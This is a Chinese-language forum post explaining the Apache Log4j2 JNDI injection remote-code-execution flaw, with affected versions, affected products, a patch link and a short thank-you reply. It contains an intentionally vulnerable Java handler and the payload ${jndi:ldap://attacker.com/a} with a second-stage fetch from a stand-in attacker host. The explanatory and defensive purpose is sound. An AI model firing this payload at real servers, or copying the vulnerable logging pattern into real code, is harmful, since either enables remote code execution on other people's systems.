找回密码
 注册SCIFIFANS!
首页 › 科技专区 › 信息安全 ›关于Apache Log4j2漏洞的描述解析

关于Apache Log4j2漏洞的描述解析

1
回复
2241
查看
[ 复制链接 ]

67

主题

84

回帖

1093

积分

造物主

站长

积分
1093
QQ

用邮箱/用户名来登录sci-fifans!

您需要 登录 才可以下载或查看,没有账号?注册SCIFIFANS!

x
漏洞详细描述
Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。



  1. import org.apache.log4j.Logger;
  2. import java.io.*;
  3. import java.sql.SQLException;
  4. import java.util.*;
  5. public class VulnerableLog4jExampleHandler implements HttpHandler {
  6. static Logger log = Logger.getLogger(log4jExample.class.getName());
  7. /**
  8.    * A simple HTTP endpoint that reads the request's User Agent and logs it back.
  9.    * This is basically pseudo-code to explain the vulnerability, and not a full example.
  10.    * @param he HTTP Request Object
  11.    */
  12. public void handle(HttpExchange he) throws IOException {
  13.     string userAgent = he.getRequestHeader("user-agent");

  14. // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
  15. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
  16.     log.info("Request User Agent:" + userAgent);
  17.     String response = "<h1>Hello There, " + userAgent + "!</h1>";
  18.     he.sendResponseHeaders(200, response.length());
  19.     OutputStream os = he.getResponseBody();
  20.     os.write(response.getBytes());
  21.     os.close();
  22.   }
  23. }
复制代码

攻击步骤
  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
  • 攻击者执行恶意脚本。



受影响版本:Apache Log4j 2.x <= 2.14.1
已知受影响的应用程序和组件:
  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid



补丁下载:Release log4j-2.15.0-rc1 · apache/logging-log4j2

世间漫随流水,算来一梦浮生

使用道具 举报

19

主题

75

回帖

2223

积分

Judgement

世界第一公主殿下

积分
2223
QQ
辛苦啦
以最初的声音,追寻未来的梦

使用道具 举报

高级模式
您需要登录后才可以回帖 登录 | 注册SCIFIFANS!

本版积分规则